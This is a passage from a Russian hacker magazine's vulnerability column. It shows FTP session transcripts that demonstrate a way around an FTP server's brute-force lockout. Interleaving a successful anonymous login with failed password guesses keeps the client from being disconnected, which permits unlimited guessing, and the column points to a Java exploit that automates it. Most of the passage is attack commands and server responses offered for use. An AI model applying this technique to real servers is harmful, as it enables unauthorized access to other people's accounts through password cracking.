Bugtraq #11

Xakep, номер #023, стр. 023-010-4

>530 Not logged in.

USER USER2

>331 User name okay, need password.

PASS anotherPASSWORD

>530 Not logged in.

Отключение...

А вот что мы сделаем, дабы обойти защиту от брутфорса:

USER USER1

>331 User name okay, need password.

PASS PASSWORD

>530 Not logged in.

USER USER1

>331 User name okay, need password.

PASS nextpassPASSWORD

>530 Not logged in.

USER anonymous

>331 User name okay, please send complete E-mail address as password.

PASS somemail@address.com

>230 User logged in, proceed.

USER USERNAME

>331 User name okay, need password.

PASS 3rdPASSWORD

>530 Not logged in.

USER USERNAME

>331 User name okay, need password.

PASS 4thPASSWORD

>530 Not logged in.

...

...

etc

Эврика! Работает!

И это работает не только с anonymous-аккаунтами, но и при удачном соединении (User logged in, proceed) с любого другого профиля. Т.е. удачно идентифицировавшись в один из трех раз - ты не будешь отключен от сервака.

На данную дыру был написан эксплойт на Java`e для автоматизации процесса перебора. Сие счастье лежит по адресу: http://www.hobbie.net/brutus

*******************